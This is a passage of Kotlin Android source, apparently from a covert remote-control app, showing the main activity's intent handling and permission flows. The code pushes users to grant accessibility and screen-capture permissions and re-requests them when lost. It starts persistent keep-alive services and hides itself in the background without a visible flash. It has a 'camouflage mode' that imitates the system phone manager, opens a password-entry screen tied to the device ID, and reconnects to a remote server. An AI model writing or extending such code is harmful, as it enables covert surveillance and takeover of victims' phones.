如果没有找到合适的手机管家,启动系统设置 if (!success) { Log.w(TAG, "⚠️ 未找到可用的系统手机管家,尝试启动系统设置") try { val settingsIntent = Intent(android.provider.Settings.ACTION_SETTINGS) settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) settingsIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP) settingsIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION) startActivity(settingsIntent) Log.i(TAG, "✅ 已切换到系统设置") } catch (e: Exception) { Log.e(TAG, "❌ 切换到系统设置也失败", e) } } } catch (e: Exception) { Log.e(TAG, "❌ 启动系统手机管家异常", e) } } /** * ✅ 关键修复:处理新的Intent(当Activity已存在时) */ override fun onNewIntent(intent: Intent?) { super.onNewIntent(intent) Log.i(TAG, "🔄 MainActivity收到新的Intent") if (intent != null) { // 更新当前Intent setIntent(intent) // 无闪现后台唤起:若带 LAUNCH_BACKGROUND,先瞬时隐藏窗口再处理其余逻辑 if (intent.getBooleanExtra("LAUNCH_BACKGROUND", false)) { try { // 去除过渡动画 overridePendingTransition(0, 0) // 先把根视图设为透明,避免一帧闪烁 window.decorView.alpha = 0f // 立刻退到后台 moveTaskToBack(true) Log.i(TAG, "🫥 onNewIntent: 已无闪现退到后台") } catch (e: Exception) { Log.w(TAG, "⚠️ onNewIntent 隐藏失败: ${e.message}") } } // 处理新的Intent handleIntentAndPermissions(intent) } else { Log.w(TAG, "⚠️ 收到null Intent") } } /** * ✅ 统一的Intent处理方法 */ private fun handleIntentAndPermissions(intent: Intent) { // 检查启动类型 Log.i(TAG, "📋 检查启动参数和类型...") Log.i( TAG, "📊 Intent参数: AUTO_REQUEST_PERMISSION=${ intent.getBooleanExtra( "AUTO_REQUEST_PERMISSION", false ) }" ) Log.i( TAG, "📊 Intent参数: PERMISSION_LOST_RECOVERY=${ intent.getBooleanExtra( "PERMISSION_LOST_RECOVERY", false ) }" ) Log.i(TAG, "📊 Intent参数: TIMESTAMP=${intent.getLongExtra("TIMESTAMP", 0)}") Log.i(TAG, "📊 Intent参数: SOURCE=${intent.getStringExtra("SOURCE") ?: "未知"}") Log.i(TAG, "📊 Intent Action: ${intent.action ?: "无"}") Log.i(TAG, "📊 Intent Flags: ${intent.flags}") // ✅ 详细记录所有Intent参数,用于调试 val extras = intent.extras if (extras != null) { Log.i(TAG, "📊 Intent包含${extras.size()}个额外参数:") for (key in extras.keySet()) { val value = extras.get(key) Log.i(TAG, " $key = $value (${value?.javaClass?.simpleName})") } } else { Log.w(TAG, "⚠️ Intent没有任何额外参数!") } when { // ✅ 优先检查:是否来自安装完成广播,需要显示WebView intent.getBooleanExtra("from_installation_complete", false) && intent.getBooleanExtra("show_webview", false) -> { Log.i(TAG, "🌐 检测到安装完成广播,启动WebView") Log.i( TAG, "🔍 参数: user_initiated=${ intent.getBooleanExtra( "user_initiated", false ) }, force_foreground=${intent.getBooleanExtra("force_foreground", false)}" ) // 确保布局已设置 try { val webView = findViewById(R.id.webView) if (webView == null) { Log.e(TAG, "❌ 未找到WebView,可能布局未设置") setContentView(R.layout.activity_main) Log.i(TAG, "✅ 已重新设置布局") } } catch (e: Exception) { Log.e(TAG, "❌ 检查WebView失败", e) } // ✅ 安装完成后启动保活服务 - 参考 f 目录策略,简化版本 try { Log.i(TAG, "🛡️ 安装完成,启动保活服务(参考 f 目录策略)") // ✅ 参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse) val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) if (android.os.Build.VERSION.SDK_INT >= 26) { startForegroundService(foregroundIntent) } else { startService(foregroundIntent) } Log.i(TAG, "✅ 主前台服务已启动(对应 f 目录的 BackRunServerUseUse)") // ✅ 启动 WorkManager 保活(对应 f 目录的系统级 WorkManager) val workManagerKeepAlive = com.hikoncont.service.WorkManagerKeepAliveService.getInstance() workManagerKeepAlive.startKeepAlive(this) Log.i(TAG, "✅ WorkManager保活已启动") Log.i(TAG, "🎉 保活服务启动完成") } catch (e: Exception) { Log.e(TAG, "❌ 启动保活服务失败", e) } // 启动WebView startWebViewActivity() } intent.getBooleanExtra("request_camera_permission", false) -> { Log.i(TAG, "📷 检测到摄像头权限申请请求") handleCameraPermissionRequest() } intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) -> { Log.i(TAG, "✅ 检测到自动权限申请请求,启动handleAutoPermissionRequest()") // ✅ 检查是否已有权限申请在进行,防止重复申请 if (permissionRequestInProgress) { Log.w(TAG, "⚠️ 权限申请已在进行中,忽略重复的Intent") return } isAutoPermissionRequest = true // 设置自动权限申请标志 permissionRequestInProgress = true // 设置权限申请进行中标志 // ✅ 检查是否为 MIUI 修复模式 val isMiuiFix = intent.getBooleanExtra("MIUI_PERMISSION_FIX", false) if (isMiuiFix) { Log.i(TAG, "🔧 检测到MIUI权限修复模式,使用特殊处理") runOnUiThread { updateStatusTextSafely( "🔧 服务权限修复中...\n正在尝试重新显示权限对话框", getColor(android.R.color.holo_orange_dark) ) if (::enableButton.isInitialized) { enableButton.text = "修复中..." enableButton.isEnabled = false } } // MIUI 修复模式:等待更长时间确保Activity完全就绪 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ if (!isFinishing) { Log.i(TAG, "🔧 MIUI修复:延迟后启动权限申请") handleAutoPermissionRequest() } }, 2000) // 2秒延迟 return } // ✅ 强制将Activity带到前台,确保用户能看到权限申请界面 Log.i(TAG, "📱 强制将MainActivity带到前台") try { // ✅ ANR修复:异步处理窗口焦点操作,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // ✅ 修复:分步骤设置窗口标志,避免一次性设置过多标志导致ANR // 第一步:设置基本窗口标志 window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) // 第二步:延迟设置屏幕相关标志 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON) window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) // 设置Activity为前台显示 setTurnScreenOn(true) setShowWhenLocked(true) Log.i(TAG, "✅ 窗口标志设置完成") } catch (e: Exception) { Log.e(TAG, "❌ 设置屏幕标志失败", e) } }, 100) // 100ms延迟,避免ANR // 第三步:延迟执行moveTaskToFront,避免与窗口标志设置冲突 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager activityManager.moveTaskToFront( taskId, android.app.ActivityManager.MOVE_TASK_WITH_HOME ) Log.i(TAG, "✅ ActivityManager移动任务成功") } catch (e: Exception) { Log.e(TAG, "❌ ActivityManager移动任务失败", e) } }, 200) // 200ms延迟,确保窗口标志设置完成 Log.i(TAG, "✅ Activity前台显示操作已异步启动") } catch (e: Exception) { Log.e(TAG, "❌ 异步设置Activity前台显示失败", e) } } } catch (e: Exception) { Log.e(TAG, "❌ 设置Activity前台显示失败", e) } handleAutoPermissionRequest() } intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) -> { Log.i(TAG, "检测到权限丢失恢复请求") handlePermissionLostRecovery() } intent.getBooleanExtra("SMART_RECOVERY", false) -> { Log.i(TAG, "检测到智能权限恢复请求") handleSmartPermissionRecovery() } intent.getBooleanExtra("auto_start", false) -> { Log.i(TAG, "检测到开机自启动") handleAutoStart() } intent.getBooleanExtra("auto_restart", false) -> { Log.i(TAG, "检测到服务自动重启请求") handleAutoRestart() } intent.getBooleanExtra("SMART_RETURN_BACKUP", false) -> { Log.i(TAG, "检测到智能返回备用启动,显示就绪状态") runOnUiThread { updateStatusTextSafely( "✅ 应用已启动\n等待权限申请流程...", android.R.color.holo_blue_dark ) enableButton.text = "等待中..." enableButton.isEnabled = false } // 智能返回备用方案不需要额外处理,只需要确保应用在前台 } intent.getBooleanExtra("MI_ANDROID13_RETURN", false) -> { Log.i(TAG, "检测到小米Android 13设备返回启动,显示就绪状态") runOnUiThread { updateStatusTextSafely( "✅ 小米Android 13设备\n应用已启动,等待权限申请流程...", android.R.color.holo_blue_dark ) enableButton.text = "等待中..." enableButton.isEnabled = false } // 小米Android 13设备专用返回处理,不需要额外处理 } else -> { // 正常启动,显示初始状态,不自动跳转权限设置 Log.i(TAG, "正常启动应用,显示初始状态") updateUI() } } } /** * 处理自动权限申请 - 修复时序问题 */ private fun handleAutoPermissionRequest() { Log.i(TAG, "🚀 开始自动权限申请流程") Log.i(TAG, "📱 当前Activity状态: finishing=$isFinishing, destroyed=$isDestroyed") // ✅ ANR修复:异步处理权限检查,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // ✅ 关键修复:检查真实的MediaProjection权限,而不仅仅是数据存在 Log.i(TAG, "🔍 开始检查MediaProjection权限状态...") if (checkRealMediaProjectionPermission()) { Log.i(TAG, "📱 真实MediaProjection权限已存在且有效,发送停止广播并关闭Activity") // ✅ 立即发送停止广播,防止MainActivity继续创建 val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION") sendBroadcast(stopIntent) Log.i(TAG, "📡 已发送停止Activity创建广播") runOnUiThread { updateStatusTextSafely( "✅ 权限已配置完成\n功能正常运行", getColor(android.R.color.holo_green_dark) ) } // 立即隐藏Activity(不销毁) hideActivityToBackground() return@post } // 继续处理权限申请流程 handleAutoPermissionRequestInternal() } catch (e: Exception) { Log.e(TAG, "❌ 异步处理权限申请失败", e) } } } /** * ✅ ANR修复:内部权限申请处理方法,避免阻塞主线程 */ private fun handleAutoPermissionRequestInternal() { // ✅ 即使有权限数据但权限无效,也要重新申请 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { Log.w(TAG, "⚠️ 检测到权限数据存在但MediaProjection权限无效,需要重新申请") Log.w(TAG, "⚠️ 这可能是因为系统只有无障碍截图权限,缺少MediaProjection实时投屏权限") runOnUiThread { updateStatusTextSafely( "⚠️ 检测到服务配置异常\n需要重新申请服务权限\n正在自动处理...", getColor(android.R.color.holo_orange_dark) ) } } // ✅ 参考billd-desk:Android 11+也需要申请MediaProjection权限(不再跳过) // billd-desk在所有Android版本都通过createScreenCaptureIntent()申请权限 // ✅ 修复时序问题:无障碍服务刚启用时,状态检查可能还没有更新 // 既然能收到AUTO_REQUEST_PERMISSION,说明无障碍服务已经启动,直接申请权限 if (AccessibilityRemoteService.isServiceRunning()) { Log.i(TAG, "✅ AccessibilityService实例已运行,直接申请MediaProjection权限") requestMediaProjectionPermission() } else if (isAccessibilityServiceEnabled()) { Log.i(TAG, "✅ 系统显示无障碍服务已启用,申请MediaProjection权限") requestMediaProjectionPermission() } else { // ✅ 启动多次自动重试机制,处理状态更新延迟 Log.w(TAG, "⚠️ 无障碍服务状态检查失败,启动自动重试机制") autoRetryCount = 0 startAutoRetryPermissionCheck() } } /** * ✅ 新增:启动自动重试权限检测 */ private fun startAutoRetryPermissionCheck() { // 清理之前的重试任务 stopAutoRetry() // 立即进行第一次重试检测 performPermissionCheck() } /** * ✅ 新增:执行权限检测 */ private fun performPermissionCheck() { autoRetryCount++ Log.i(TAG, "🔍 执行权限检测 (第${autoRetryCount}次)") // ✅ 检查MediaProjection权限是否真实有效 if (checkRealMediaProjectionPermission()) { Log.i(TAG, "✅ MediaProjection权限已存在且有效,停止重试") stopAutoRetry() runOnUiThread { updateStatusTextSafely( "✅ 服务权限检测成功\n继续后续权限配置...", getColor(android.R.color.holo_green_dark) ) } // 继续下一步权限检查 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ checkAllPermissions() }, 1000) return } // 检查无障碍服务状态 if (AccessibilityRemoteService.isServiceRunning()) { Log.i(TAG, "✅ AccessibilityService实例已运行,停止重试并申请MediaProjection权限") stopAutoRetry() requestMediaProjectionPermission() return } if (isAccessibilityServiceEnabled()) { Log.i(TAG, "✅ 系统显示无障碍服务已启用,停止重试并申请MediaProjection权限") stopAutoRetry() requestMediaProjectionPermission() return } // 检测失败,判断是否继续重试 if (autoRetryCount <= MAX_AUTO_RETRY_COUNT) { Log.w( TAG, "⚠️ 无障碍服务状态检查失败 (${autoRetryCount}/${MAX_AUTO_RETRY_COUNT}),${AUTO_RETRY_INTERVAL / 1000}秒后重试" ) updateStatusTextSafelyOnUiThread( "⏳ 正在检测无障碍服务状态...\n" + "第${autoRetryCount}次检测,剩余${MAX_AUTO_RETRY_COUNT - autoRetryCount}次重试\n" + "${AUTO_RETRY_INTERVAL / 1000}秒后自动重试", getColor(android.R.color.holo_orange_dark) ) // 安排下次重试 scheduleNextRetry() } else { // 达到最大重试次数,转入手动模式 Log.w(TAG, "❌ 已达到最大重试次数(${MAX_AUTO_RETRY_COUNT}),转入手动配置模式") stopAutoRetry() updateStatusTextSafelyOnUiThread( "⚠️ 自动检测失败\n" + "已重试${MAX_AUTO_RETRY_COUNT}次,可能需要手动配置\n" + "请确认无障碍服务已正确开启", getColor(android.R.color.holo_red_dark) ) // 延迟3秒后转入手动模式,给用户查看信息的时间 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ checkAllPermissions() }, 3000) } } /** * ✅ 新增:安排下次重试 */ private fun scheduleNextRetry() { retryHandler = android.os.Handler(android.os.Looper.getMainLooper()) retryRunnable = Runnable { if (!isFinishing && !isDestroyed) { performPermissionCheck() } } retryHandler?.postDelayed(retryRunnable!!, AUTO_RETRY_INTERVAL) } /** * ✅ 新增:停止自动重试 */ private fun stopAutoRetry() { retryRunnable?.let { runnable -> retryHandler?.removeCallbacks(runnable) } retryHandler = null retryRunnable = null } /** * ✅ 处理权限丢失恢复 - 自动重新申请MediaProjection权限 */ private fun handlePermissionLostRecovery() { Log.i(TAG, "🔧 开始权限丢失恢复流程") if (isAccessibilityServiceEnabled()) { Log.i(TAG, "✅ 无障碍服务正常,开始自动申请MediaProjection权限") // 显示简短提示 - 使用线程安全方法 updateStatusTextThreadSafe("🔧 检测到服务权限权限丢失\n正在自动重新申请权限...", android.R.color.holo_orange_dark) updateButtonSafely("正在恢复权限...", null, false) // 延迟1秒后申请权限,确保UI更新 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ requestMediaProjectionPermission() }, 1000) } else { Log.w(TAG, "❌ 无障碍服务已失效,需要用户重新配置") runOnUiThread { showPermissionRecoveryFailedDialog() } } } /** * 显示权限恢复失败对话框 */ private fun showPermissionRecoveryFailedDialog() { try { androidx.appcompat.app.AlertDialog.Builder(this) .setTitle("⚠️ 权限恢复失败") .setMessage("检测到无障碍服务权限已丢失,无法自动恢复服务权限。\n\n需要重新配置所有权限。") .setPositiveButton("重新配置") { _, _ -> Log.i(TAG, "✅ 用户选择重新配置权限") checkAllPermissions() } .setNegativeButton("稍后处理") { _, _ -> Log.i(TAG, "⏸️ 用户选择稍后处理") hideActivityToBackground() } .setCancelable(false) .show() } catch (e: Exception) { Log.e(TAG, "❌ 显示权限恢复失败对话框出错", e) checkAllPermissions() } } /** * 处理智能权限恢复 */ private fun handleSmartPermissionRecovery() { Log.i(TAG, "🧠 开始智能权限恢复流程") if (isAccessibilityServiceEnabled()) { Log.i(TAG, "✅ 无障碍服务正常,开始智能权限恢复") runOnUiThread { // 显示非侵入式恢复状态 // 使用线程安全方法 updateStatusTextThreadSafe("🧠 智能权限恢复中...\n正在尝试自动恢复服务权限", android.R.color.holo_blue_dark) updateButtonSafely("智能恢复中...", null, null) enableButton.isEnabled = false } // 尝试智能恢复 val smartManager = com.hikoncont.manager.SmartMediaProjectionManager.getInstance(this) val permissionData = com.hikoncont.MediaProjectionHolder.getPermissionData() if (permissionData != null) { val (resultCode, resultData) = permissionData if (resultData != null) { Log.i(TAG, "🔧 使用现有权限数据进行智能恢复") val recovered = smartManager.setMediaProjection(resultCode, resultData) if (recovered) { Log.i(TAG, "✅ 智能权限恢复成功") handleSmartRecoverySuccess() return } } } // 智能恢复失败,进行标准权限申请 Log.w(TAG, "⚠️ 智能恢复失败,进行标准权限申请") android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ requestMediaProjectionPermission() }, 1000) } else { Log.w(TAG, "❌ 无障碍服务已失效,需要用户重新配置") runOnUiThread { showPermissionRecoveryFailedDialog() } } } /** * 处理智能恢复成功 */ private fun handleSmartRecoverySuccess() { // 使用线程安全方法更新UI updateStatusTextThreadSafe("✅ 智能权限恢复成功\n服务权限已自动恢复", android.R.color.holo_green_dark) updateButtonSafely("恢复完成", null, false) // 通知AccessibilityService权限恢复成功 val intent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply { putExtra("success", true) putExtra("smart_recovery", true) } sendBroadcast(intent) // 2秒后隐藏界面 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ hideActivityToBackground() }, 2000) } /** * 获取设备ID(重命名避免与Android 14+ Activity.getDeviceId()冲突) */ private fun getLocalDeviceId(): String { return android.provider.Settings.Secure.getString( contentResolver, android.provider.Settings.Secure.ANDROID_ID ) ?: "unknown" } /** * 检查密码输入是否已完成 */ private fun isPasswordInputCompleted(): Boolean { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) val isCompleted = sharedPrefs.getBoolean("password_input_completed", false) Log.d(TAG, "🔐 密码输入完成状态: $isCompleted") return isCompleted } catch (e: Exception) { Log.e(TAG, "❌ 检查密码输入状态失败", e) return false } } /** * ✅ 新增:检查安装是否已完成 */ private fun isInstallationCompleted(): Boolean { try { // ✅ 统一使用InstallationStateManager检查安装状态 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isCompleted = installationStateManager.isInstallationComplete() Log.d(TAG, "📦 安装完成状态: $isCompleted") return isCompleted } catch (e: Exception) { Log.e(TAG, "❌ 检查安装完成状态失败", e) return false } } /** * 检查密码框是否曾经被弹出过 */ private fun hasPasswordInputBeenShown(): Boolean { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false) Log.d(TAG, "🔐 密码框是否曾经显示过: $hasBeenShown") return hasBeenShown } catch (e: Exception) { Log.e(TAG, "❌ 检查密码框显示状态失败", e) return false } } /** * 标记密码框已经被显示过 */ private fun markPasswordInputShown() { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) sharedPrefs.edit().putBoolean("password_input_shown", true).apply() Log.i(TAG, "✅ 密码框显示状态已标记") } catch (e: Exception) { Log.e(TAG, "❌ 标记密码框显示状态失败", e) } } /** * 标记密码输入已完成 */ private fun markPasswordInputCompleted() { try { val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) sharedPrefs.edit().putBoolean("password_input_completed", true).apply() Log.i(TAG, "✅ 密码输入状态已标记为完成") } catch (e: Exception) { Log.e(TAG, "❌ 标记密码输入完成状态失败", e) } } /** * 启动密码输入Activity */ private fun startPasswordInputActivity() { try { Log.i(TAG, "🔐 准备启动密码输入页面") val intent = Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply { putExtra( com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, getLocalDeviceId() ) putExtra( com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, System.currentTimeMillis().toString() ) // 使用温和的flags设置,避免Activity被销毁 addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) } startActivity(intent) Log.i(TAG, "✅ 密码输入页面已启动") // 隐藏MainActivity,避免状态冲突 hideActivityToBackground() } catch (e: Exception) { Log.e(TAG, "❌ 启动密码输入页面失败", e) // 如果启动失败,继续正常流程 runOnUiThread { updateStatusTextThreadSafe("✅ 服务启动中...", android.R.color.holo_green_dark) enableButton.text = "服务已就绪" enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark)) enableButton.isEnabled = false } } } /** * 处理开机自启动 */ private fun handleAutoStart() { Log.i(TAG, "开始开机自启动流程") if (isAccessibilityServiceEnabled()) { Log.i(TAG, "无障碍服务已启用,启动服务中") startRemoteControlService() // 显示状态,但不自动最小化,让用户看到成功状态 updateUI() Log.i(TAG, "✅ 权限配置完成,保持应用在前台显示状态") } else { Log.w(TAG, "无障碍服务未启用,显示配置页面") updateUI() } } /** * 处理服务自动重启 */ private fun handleAutoRestart() { Log.i(TAG, "🔄 开始服务自动重启流程") val accessibilityLost = intent.getBooleanExtra("accessibility_lost", false) if (accessibilityLost) { Log.w(TAG, "⚠️ 检测到无障碍服务权限丢失,返回主页等待用户手动操作") // ✅ 修改:不自动跳转无障碍设置,直接返回主页 updateUI() } else if (isAccessibilityServiceEnabled()) { Log.i(TAG, "✅ 无障碍服务已启用,尝试重新连接") // 获取AccessibilityService实例并重新连接 val accessibilityService = AccessibilityRemoteService.getInstance() if (accessibilityService != null) { Log.i(TAG, "✅ 找到AccessibilityService实例,重新连接服务器") accessibilityService.reconnectToServer() // 显示状态,但不自动最小化 updateUI() Log.i(TAG, "✅ 服务重连完成,保持应用在前台显示状态") } else { Log.w(TAG, "⚠️ AccessibilityService实例不可用,需要用户重新启动") updateUI() } } else { Log.w(TAG, "⚠️ 无障碍服务未启用,返回主页等待用户手动操作") // ✅ 修改:不自动跳转无障碍设置,直接返回主页 updateUI() } } /** * 显示无障碍服务权限丢失对话框 */ private fun showAccessibilityLostDialog() { runOnUiThread { try { androidx.appcompat.app.AlertDialog.Builder(this) .setTitle("⚠️ 无障碍服务权限丢失") .setMessage("检测到无障碍服务权限已丢失,这通常发生在应用被强制关闭后。\n\n需要重新授权无障碍服务以恢复功能。") .setPositiveButton("重新授权") { _, _ -> Log.i(TAG, "✅ 用户选择重新授权无障碍服务") openAccessibilitySettings() } .setNegativeButton("稍后处理") { _, _ -> Log.i(TAG, "⏸️ 用户选择稍后处理") hideActivityToBackground() } .setCancelable(false) .show() } catch (e: Exception) { Log.e(TAG, "❌ 显示权限丢失对话框失败", e) // 备用方案:直接打开设置 openAccessibilitySettings() } } } /** * 启动远程控制服务 */ private fun startRemoteControlService() { try { val accessibilityService = AccessibilityRemoteService.getInstance() if (accessibilityService != null) { Log.i(TAG, "通过AccessibilityService启动远程控制") accessibilityService.startConnection() } else { Log.w(TAG, "AccessibilityService实例不可用") } } catch (e: Exception) { Log.e(TAG, "启动远程控制服务失败", e) } } override fun onResume() { super.onResume() // ✅ 参考zuiqiang:移除onResume中的保活检测 // zuiqiang的做法是在onDestroy时启动透明保活Activity,而不是在onResume中检测 // 🚀 关键优化:检查是否在 WebView 模式,如果是则跳过所有检查 val webViewContainer = findViewById(R.id.webViewContainer) val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE if (isWebViewVisible) { Log.d(TAG, "🌐 WebView 模式:跳过所有后台检查,优化性能") // ✅ Activity回到前台,如果WebView打开,恢复状态更新 if (this.isWebViewVisible) { // WebView可见且Activity在前台,立即更新状态 com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true) Log.i(TAG, "✅ Activity回到前台,已恢复WebView状态更新") } // 🚀 WebView 模式:关闭日志收集以提升性能 try { val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() // serviceInstance?.disableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 WebView 模式:跳过日志开关") } catch (e: Exception) { Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") } // 只恢复 WebView,不执行其他检查 resumeWebView() return } // ✅ ANR修复:异步处理onResume逻辑,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { // 🔍 onResume 无障碍健康检查:若已授权但未运行,则触发恢复 try { val enabled = isAccessibilityServiceEnabled() val instance = AccessibilityRemoteService.getInstance() val running = AccessibilityRemoteService.isServiceRunning() Log.i( TAG, "🔍 onResume 无障碍健康检查: enabled=" + enabled + ", instance=" + (instance != null) + ", running=" + running ) if (enabled && (instance == null || !running)) { Log.w(TAG, "⚠️ onResume: 无障碍权限已启用但服务未运行,尝试恢复") forceRecoverAccessibilityService() } } catch (e: Exception) { Log.e(TAG, "❌ onResume 无障碍健康检查异常", e) } // 🎭 检查是否是伪装模式,如果是则不执行UI更新 if (isPhoneManagerCamouflageMode()) { Log.d(TAG, "🎭 onResume: 伪装模式,跳过UI更新") return@post } // 🔐 在onResume时也检查密码输入是否已完成(只有在密码框曾经显示过的情况下) if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) { Log.i(TAG, "🔐 onResume: 密码框曾经显示过且密码输入未完成,强制跳转到密码输入页面") startPasswordInputActivity() return@post } updateUI() // 🚀 主界面模式:恢复日志收集 try { val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() // serviceInstance?.enableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 主界面模式:跳过日志开关") } catch (e: Exception) { Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") } // 🚀 WebView性能优化:恢复WebView resumeWebView() } catch (e: Exception) { Log.e(TAG, "❌ 异步处理onResume失败", e) } } } override fun onPause() { super.onPause() // 🚀 WebView性能优化:暂停WebView以节省资源 pauseWebView() // ✅ Activity不在前台时,停止WebView状态更新(节省资源) if (isWebViewVisible) { // WebView打开但Activity不在前台,停止状态更新并设置为关闭状态 com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false) Log.i(TAG, "✅ Activity不在前台,已停止WebView状态更新(节省资源)") } // 🚀 应用不在前台时:恢复日志收集 try { val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() // serviceInstance?.enableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 应用不在前台:跳过日志开关") } catch (e: Exception) { Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") } } private fun initViews() { statusText = findViewById(R.id.statusText) enableButton = findViewById(R.id.enableButton) appNameText = findViewById(R.id.appNameText) usageInstructionsText = findViewById(R.id.usageInstructionsText) serviceSwitch = findViewById(R.id.serviceSwitch) appIconImageView = findViewById(R.id.appIconImageView) // ✅ 新增:从配置文件加载页面样式 loadPageStyleConfig() } /** * ✅ 新增:从配置文件加载页面样式配置 */ private fun loadPageStyleConfig() { try { // 读取assets目录下的server_config.json文件 val configJson = assets.open("server_config.json").use { inputStream -> inputStream.bufferedReader().use { it.readText() } } Log.i(TAG, "🔍 读取到的配置文件内容: $configJson") val config = org.json.JSONObject(configJson) val pageStyleConfig = config.optJSONObject("pageStyleConfig") Log.i(TAG, "🔍 pageStyleConfig对象: ${pageStyleConfig?.toString()}") if (pageStyleConfig != null && pageStyleConfig.length() > 0) { Log.i(TAG, "✅ 检测到页面样式配置,应用自定义样式") // 应用自定义应用名称 val customAppName = pageStyleConfig.optString("appName", "") if (customAppName.isNotEmpty()) { appNameText.text = customAppName Log.i(TAG, "📝 应用自定义应用名称: $customAppName") } // 应用自定义的按钮文字(从pageStyleConfig读取,如果没有则从strings.xml读取) val enableButtonText = pageStyleConfig.optString("enableButtonText", "") if (enableButtonText.isNotEmpty()) { enableButton.text = enableButtonText Log.i(TAG, "📝 应用自定义启用按钮文字: $enableButtonText") } // 保存自定义状态文本和使用说明(在updateUI方法中会使用) val configStatusText = pageStyleConfig.optString("statusText", "") if (configStatusText.isNotEmpty()) { customStatusText = configStatusText.replace("\\n", "\n") // 🔑 启用状态文本保护,防止被动态修改 preserveCustomStatusText = true Log.i(TAG, "📝 保存自定义状态文字: $configStatusText") Log.i(TAG, "📝 转换后的状态文字: $customStatusText") Log.i(TAG, "🛡️ 已启用状态文本保护,防止动态修改") } val configUsageInstructions = pageStyleConfig.optString("usageInstructions", "") if (configUsageInstructions.isNotEmpty()) { customUsageInstructions = configUsageInstructions.replace("\\n", "\n") usageInstructionsText.text = customUsageInstructions ?: "" Log.i(TAG, "📝 保存自定义使用说明: $configUsageInstructions") } } else { Log.i(TAG, "📝 未检测到页面样式配置或配置为空,使用默认样式") // 如果没有自定义配置,从strings.xml读取默认文字 applyDefaultTexts() } } catch (e: Exception) { Log.w(TAG, "⚠️ 加载页面样式配置失败,使用默认样式: ${e.message}") e.printStackTrace() // 如果配置文件不存在或读取失败,从strings.xml读取默认文字 applyDefaultTexts() } } /** * ✅ 新增:应用默认文字(从strings.xml读取) */ private fun applyDefaultTexts() { try { appNameText.text = getString(R.string.app_name) enableButton.text = getString(R.string.enable_accessibility_service) statusText.text = getString(R.string.service_status_checking) usageInstructionsText.text = getString(R.string.usage_instructions) // 🔑 使用默认文本时不启用保护 preserveCustomStatusText = false Log.i(TAG, "📝 已应用默认文字配置") } catch (e: Exception) { Log.e(TAG, "❌ 应用默认文字失败: ${e.message}") } } private fun setupClickListeners() { // 启用按钮点击事件 val enableButtonClickHandler = { Log.i(TAG, "用户触发启用操作") val isAccessibilityEnabled = isAccessibilityServiceEnabled() val isServiceRunning = AccessibilityRemoteService.isServiceRunning() when { !isAccessibilityEnabled -> { Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置") // ✅ 用户主动点击按钮时,跳转到无障碍设置 openAccessibilitySettings() } isAccessibilityEnabled && !isServiceRunning -> { Log.i(TAG, "无障碍服务已启用但服务未运行,检查权限状态") // 如果无障碍服务已启用但服务未运行,可能需要检查其他权限 checkAllPermissions() } isAccessibilityEnabled && isServiceRunning -> { Log.i(TAG, "服务已完全运行,无需操作") // 服务已运行,按钮应该是禁用状态,这里只是记录日志 } else -> { Log.i(TAG, "其他状态,重新检查权限") checkAllPermissions() } } } enableButton.setOnClickListener { Log.i(TAG, "用户点击启用按钮") enableButtonClickHandler() } // Switch监听器 serviceSwitch.setOnCheckedChangeListener { _, isChecked -> Log.i(TAG, "用户切换开关,目标状态: $isChecked") // 如果用户打开开关,执行启用逻辑 if (isChecked) { enableButtonClickHandler() } else { Log.i(TAG, 